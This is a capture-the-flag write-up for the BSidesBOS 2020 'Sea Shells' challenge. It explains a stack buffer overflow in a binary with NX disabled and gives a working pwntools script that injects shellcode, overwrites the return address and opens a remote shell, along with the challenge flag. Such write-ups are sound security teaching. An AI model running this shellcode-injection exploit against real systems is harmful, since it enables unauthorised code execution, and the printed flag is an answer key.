> For the complete documentation index, see [llms.txt](https://the-winrars.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-winrars.gitbook.io/writeups/2020-writeups/bsidesbos/binary-exploitation/sea-shells.md).

# Sea Shells

The binary prints the address of our input, then uses read to read input into it. There's 16 bytes of buffer overflow, letting us overwrite rbp and the return address only. As NX is off and our input is on the stack, we can just set the return address to our input, and then put shellcode in our input. After popping a shell, we cat flag.txt to get the flag.

## Flag: flag{popping\_shells\_by\_the\_sea\_shore}

```python
from pwn import *
context.arch = 'amd64'
e = ELF("./seashells")
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 32134)
addr = int(p.recvline(),16)
p.recvuntil(":")
sc = asm(shellcraft.amd64.linux.sh())
payload = fit({0: sc, 0x88: addr})
p.sendline(payload)
p.interactive()
```